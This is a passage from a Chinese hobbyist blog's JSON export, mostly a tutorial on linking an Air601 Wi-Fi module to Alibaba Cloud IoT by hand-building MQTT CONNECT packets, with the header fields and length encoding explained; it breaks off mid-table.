punctuation\"\u003e]\u003c/span\u003e)\u003e\u003e\u003e y = np.array(\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e55, 71, 67, 61, 70, 61, 71, 61\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e)\u003e\u003e\u003e _, p = stats.ttest_1samp(x - y, 0)\u003e\u003e\u003e p0.042982513619168904\u003cspan class=\"token function selector\"\u003e\\end\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eminted\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function selector\"\u003e\\end\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edocument\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e效果,整挺好:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/install_texlive/test.webp\" alt=\"test\"\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/8e96/"},{"title":"合宙Air601连接阿里云物联网平台-MQTT协议学习","time":"2023-07-22T12:31:10Z","content":"\u003ch1 id=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003ca href=\"#合宙Air601连接阿里云物联网平台-MQTT协议学习\" class=\"headerlink\" title=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003c/a\u003e合宙Air\u003chr /\u003e\u003ch1 id=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003ca href=\"#合宙Air601连接阿里云物联网平台-MQTT协议学习\" class=\"headerlink\" title=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003c/a\u003e合宙Air601连接阿里云物联网平台-MQTT协议学习\u003c/h1\u003e\u003cp\u003e开发板9块9包邮)买来玩玩。\u003c/p\u003e\u003cp\u003e首先赞美一下其他模块有现成AT\u0026#x2F;MQTT固件,因为Air601刚出来不久,现在还没有AT\u0026#x2F;MQTT固件,所以要TCP连接后手搓MQTT协议,就当学习了~\u003c/p\u003e\u003cp\u003e鼓捣了一晚上,记录记录过程~\u003c/p\u003e\u003cp\u003e一些官方介绍:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eAir601-12F 是合宙通信推出的 Wi-Fi - BLE二合一通信模块;\u003cbr\u003eAir601-12F采用合宙Air601芯片平台,支持Wi-Fi 802.11b\u0026#x2F;g\u0026#x2F;n协议,支持BLE 4.2协议;\u003cbr\u003eAir601-12F 兼容业内主流12F封装(SMD-22),板载PCB天线,极致成本,满足小型化低成本需求;\u003cbr\u003eAir601-12F 支持AT指令开发,指令集兼容,可无缝替换。\u003cbr\u003eWi-Fi 安全支持 Wi-Fi WMM\u0026#x2F;WMM-PS\u0026#x2F;WPA\u0026#x2F;WPA2\u0026#x2F;WPS;\u003cbr\u003e支持20\u0026#x2F;40MHz带宽,最高支持150Mbps速率;\u003cbr\u003e支持 Station 、Station + SoftAP 、SoftAP 模式;\u003cbr\u003e支持TLS加密通信,硬件加密模块加速,支持多路TLS连接;\u003cbr\u003e支持fota空中升级;\u003cbr\u003e支持低功耗休眠,休眠电流小于20 μA\u003c/p\u003e\u003cimg src=\"http://images.elecfans.top/uploads/20230717/3902cb10-2457-11ee-962d-dac502259ad0.png\" style=\"zoom: 25%;\" /\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备工作\"\u003e\u003ca href=\"#准备工作\" class=\"headerlink\" title=\"准备工作\"\u003e\u003c/a\u003e准备工作\u003c/h2\u003e\u003ch3 id=\"获取AT指令手册\"\u003e\u003ca href=\"#获取AT指令手册\" class=\"headerlink\" title=\"获取AT指令手册\"\u003e\u003c/a\u003e获取AT指令手册\u003c/h3\u003e\u003cp\u003e\u003ca href=\"https://cdn.openluat-luatcommunity.openluat.com/attachment/20230717162214038_%E4%B8%8A%E6%B5%B7%E5%90%88%E5%AE%99WIFI%E6%A8%A1%E7%BB%84(Air601%E7%B3%BB%E5%88%97)AT%E5%91%BD%E4%BB%A4%E6%89%8B%E5%86%8CV1.0.3.pdf\"\u003e上海合宙WIFI模组(Air601系列)AT命令手册V1.0.3.pdf\u003c/a\u003e\u003c/p\u003e\u003cp\u003e因为直接买的开发板,所以开箱即用。使用type-c数据线,通过串口进行操作。\u003c/p\u003e\u003cp\u003e具体指令信息可以参考手册,这里只记录必要过程。\u003c/p\u003e\u003ch3 id=\"连接wifi\"\u003e\u003ca href=\"#连接wifi\" class=\"headerlink\" title=\"连接wifi\"\u003e\u003c/a\u003e连接wifi\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003eAT+CWJAP\u0026#x3D;\u0026quot;WiFi名\u0026quot;,\u0026quot;WiFi密码\u0026quot;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e若返回\u003ccode\u003eWIFI CONNECTED\u003c/code\u003e,则连接成功。\u003c/p\u003e\u003ch3 id=\"阿里云物联网平台创建好设备\"\u003e\u003ca href=\"#阿里云物联网平台创建好设备\" class=\"headerlink\" title=\"阿里云物联网平台创建好设备\"\u003e\u003c/a\u003e阿里云物联网平台创建好设备\u003c/h3\u003e\u003cp\u003e比较简单就不演示了。\u003c/p\u003e\u003ch2 id=\"计算MQTT协议报文内容\"\u003e\u003ca href=\"#计算MQTT协议报文内容\" class=\"headerlink\" title=\"计算MQTT协议报文内容\"\u003e\u003c/a\u003e计算MQTT协议报文内容\u003c/h2\u003e\u003cp\u003eMQTT(消息队列遥测传输)是一个基于客户端-服务器的消息发布\u0026#x2F;订阅传输协议。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/\"\u003eMQTT中文手册\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"MQTT控制报文\"\u003e\u003ca href=\"#MQTT控制报文\" class=\"headerlink\" title=\"MQTT控制报文\"\u003e\u003c/a\u003eMQTT控制报文\u003c/h3\u003e\u003cp\u003eMQTT控制报文由三部分组成:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e报文部分\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eFixed header\u003c/td\u003e\u003ctd\u003e固定报头,所有控制报文都包含\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eVariable header\u003c/td\u003e\u003ctd\u003e可变报头,部分控制报文包含\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePayload\u003c/td\u003e\u003ctd\u003e有效载荷,部分控制报文包含\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"CONNECT-报文结构\"\u003e\u003ca href=\"#CONNECT-报文结构\" class=\"headerlink\" title=\"CONNECT 报文结构\"\u003e\u003c/a\u003eCONNECT 报文结构\u003c/h3\u003e\u003cp\u003e建立客户端(Client)到服务端(Server)的网络连接后,客户端发送给服务端的第一个报文必须是 CONNECT 报文(连接到服务端)。\u003cbr\u003e并且在一次连接中,只能发送一次 CONNECT 报文,服务端会将客服端发送的第二个CONNECT报文当做协议违规处理并断开连接。\u003cbr\u003eCONNECT报文结构为:\u003cstrong\u003e固定报头+可变报头+有效载荷。\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"固定报头\"\u003e\u003ca href=\"#固定报头\" class=\"headerlink\" title=\"固定报头\"\u003e\u003c/a\u003e固定报头\u003c/h4\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003e固定报文格式\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003eBit\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd\u003e\u003ccenter\u003ebyte1\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eMQTT控制报文的类型(1)\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte2...\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"8\"\u003e\u003ccenter\u003e剩余长度\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e其中\u003cstrong\u003e剩余长度\u0026#x3D;可变报头长度+有效载荷长度\u003c/strong\u003e ,这个在最后计算。\u003c/p\u003e\u003ch5 id=\"剩余长度详解\"\u003e\u003ca href=\"#剩余长度详解\" class=\"headerlink\" title=\"剩余长度详解\"\u003e\u003c/a\u003e剩余长度详解\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e从第2个字节开始。\u003c/p\u003e\u003cp\u003e剩余长度(Remaining Length)表示当前报文剩余部分的字节数,包括可变报头和负载的数据。剩余长度不包括用于编码剩余长度字段本身的字节数。\u003c/p\u003e\u003cp\u003e剩余长度字段使用一个变长度编码方案,对小于128的值它使用单字节编码。若剩余长度大于等于128字节,则使用双字节低端编码的方式(低八位 - 高八位),最多使用 4 个字节来表示长度:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e字节数\u003c/th\u003e\u003cth align=\"center\"\u003e最小值\u003c/th\u003e\u003cth align=\"center\"\u003e最大值\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0 (0x00)\u003c/td\u003e\u003ctd align=\"center\"\u003e127 (0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e2\u003c/td\u003e\u003ctd align=\"center\"\u003e128 (0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e16 383 (0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e3\u003c/td\u003e\u003ctd align=\"center\"\u003e16 384 (0x80, 0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e2 097 151 (0xFF, 0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e4\u003c/td\u003e\u003ctd align=\"center\"\u003e2 097 152 (0x80, 0x80, 0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e268 435 455 (0xFF, 0xFF, 0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e其中,每个字节的低七位用于编码数据,第八位延续位用于指示是否有更多的字节。因此每个字节可以编码127个数值(0111 1111)和一个延续位。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e例:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e小于128字节时:\u003c/p\u003e\u003cp\u003e剩余长度98个字节(0110 0010)转换成16进制为 0x62。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e大于128字节小于16384字节时\u003c/p\u003e\u003cp\u003e剩余长度300个字节时,按照低八位 - 高八位排列,低八位的最高位为1(延续位)。\u003c/p\u003e\u003cp\u003e300 \u0026#x3D; 1 0010 1100\u003c/p\u003e\u003cp\u003e低八位:1(固定)+300低7位(010 1100) -\u0026gt; 1010 1100\u003c/p\u003e\u003cp\u003e高八位:300低7位前(10) -\u0026gt; 0000 0010\u003c/p\u003e\u003cp\u003e所以剩余长度表示为 AC 02\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/blockquote\u003e\u003ch5 id=\"得到固定报头:\"\u003e\u003ca href=\"#得到固定报头:\" class=\"headerlink\" title=\"得到固定报头:\"\u003e\u003c/a\u003e得到固定报头:\u003c/h5\u003e\u003cp\u003e16进制,后面均为16进制,不再说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e ??\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e其中\u003ccode\u003e??\u003c/code\u003e为剩余长度,由最后计算获得。\u003c/p\u003e\u003ch4 id=\"可变报头\"\u003e\u003ca href=\"#可变报头\" class=\"headerlink\" title=\"可变报头\"\u003e\u003c/a\u003e可变报头\u003c/h4\u003e\u003cp\u003e某些MQTT控制报文包含一个可变报头部分。它在固定报头和负载之间。可变报头的内容根据报文类型的不同而不同。\u003c/p\u003e\u003cp\u003eCONNECT报文的可变报头按下列次序包含四个字段:协议名(Protocol Name),协议级别(Protocol Level),连接标志(Connect Flags)和保持连接(Keep Alive)。\u003c/p\u003e\u003ch5 id=\"协议名-Protocol-Name\"\u003e\u003ca href=\"#协议名-Protocol-Name\" class=\"headerlink\" title=\"协议名 Protocol Name\"\u003e\u003c/a\u003e协议名 Protocol Name\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e\u003c/th\u003e\u003cth align=\"center\"\u003e说明\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 1\u003c/td\u003e\u003ctd align=\"center\"\u003e长度 MSB (0)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 2\u003c/td\u003e\u003ctd align=\"center\"\u003e长度 LSB (4)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 3\u003c/td\u003e\u003ctd align=\"center\"\u003e‘M’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 4\u003c/td\u003e\u003ctd align=\"center\"\u003e‘Q’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 5\u003c/td\u003e\u003ctd align=\"center\"\u003e‘T’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 6\u003c/td\u003e\u003ctd align=\"center\"\u003e‘T’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e协议名是表示协议名 \u003cem\u003eMQTT\u003c/em\u003e 的UTF-8编码的字符串。MQTT规范的后续版本不会改变这个字符串的偏移和长度。\u003c/p\u003e\u003cp\u003e如果协议名不正确服务端\u003cstrong\u003e可以\u003c/strong\u003e断开客户端的连接,也\u003cstrong\u003e可以\u003c/strong\u003e按照某些其它规范继续处理CONNECT报文。对于后一种情况,按照本规范,服务端\u003cstrong\u003e不能\u003c/strong\u003e继续处理CONNECT报文。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e数据包检测工具,例如防火墙,可以使用协议名来识别MQTT流量。\u003c/p\u003e\u003c/blockquote\u003e\u003ch5 id=\"协议级别-Protocol-Level\"\u003e\u003ca href=\"#协议级别-Protocol-Level\" class=\"headerlink\" title=\"协议级别 Protocol Level\"\u003e\u003c/a\u003e协议级别 Protocol Level\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e\u003c/th\u003e\u003cth align=\"center\"\u003e说明\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 7\u003c/td\u003e\u003ctd align=\"center\"\u003eLevel(4)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e客户端用8位的无符号值表示协议的修订版本。对于3.1.1版协议,协议级别字段的值是4(0x04)。如果发现不支持的协议级别,服务端\u003cstrong\u003e必须\u003c/strong\u003e给发送一个返回码为0x01(不支持的协议级别)的CONNACK报文响应CONNECT报文,然后断开客户端的连接。\u003c/p\u003e\u003ch5 id=\"连接标志-Connect-Flags\"\u003e\u003ca href=\"#连接标志-Connect-Flags\" class=\"headerlink\" title=\"连接标志 Connect Flags\"\u003e\u003c/a\u003e连接标志 Connect Flags\u003c/h5\u003e\u003cp\u003e连接标志字节包含一些用于指定MQTT连接行为的参数。它还指出有效载荷中的字段是否存在。\u003c/p\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003e连接标志\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003eBit\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr \u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003e \u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eUser Name Flag\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003ePassword Flag\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eWill Retain\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"2\"\u003e\u003ccenter\u003eWill QoS\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eWill Flag\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eClean Session\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eReserved\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr \u003e \u003ctd \u003e\u003ccenter\u003ebyte 8\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/table\u003e\u003cp\u003e一共有6个:清理会话 Clean Session,遗嘱标志 Will Flag,遗嘱QoS Will QoS,遗嘱保留 Will Retain,密码标志 Password Flag,用户名标志 User Name Flag。\u003c/p\u003e\u003cp\u003e服务端\u003cstrong\u003e必须\u003c/strong\u003e验证CONNECT控制报文的保留标志位(第0位)是否为0,如果不为0必须断开客户端连接。\u003c/p\u003e\u003cp\u003e各个有效位的具体解释见参考文档\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e一般使用 1100 0010 (用户名、密码、清理会话),转换成16进制为:C2\u003c/strong\u003e\u003c/p\u003e\u003ch5 id=\"保持连接-Keep-Alive\"\u003e\u003ca href=\"#保持连接-Keep-Alive\" class=\"headerlink\" title=\"保持连接 Keep Alive\"\u003e\u003c/a\u003e保持连接 Keep Alive\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003eBit\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 9\u003c/td\u003e\u003ctd align=\"center\"\u003e保持连接 Keep Alive MSB\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 10\u003c/td\u003e\u003ctd align=\"center\"\u003e保持连接 Keep Alive LSB\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e保持连接(Keep Alive)是一个以秒为单位的时间间隔,表示为一个16位的字,它是指在客户端传输完成一个控制报文的时刻到发送下一个报文的时刻,两者之间允许空闲的最大时间间隔。客户端负责保证控制报文发送的时间间隔不超过保持连接的值。如果没有任何其它的控制报文可以发送,客户端\u003cstrong\u003e必须\u003c/strong\u003e发送一个PINGREQ报文。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e如:设置100s表示成16进制为 00 64\u003c/p\u003e\u003c/blockquote\u003e\u003ctable\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003e可变报头非规范示例\u003c/center\u003e\u003c/th\u003e \u003c/tr \u003e \u003ctr\u003e \u003ctd \u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003eDescription\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd \u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd 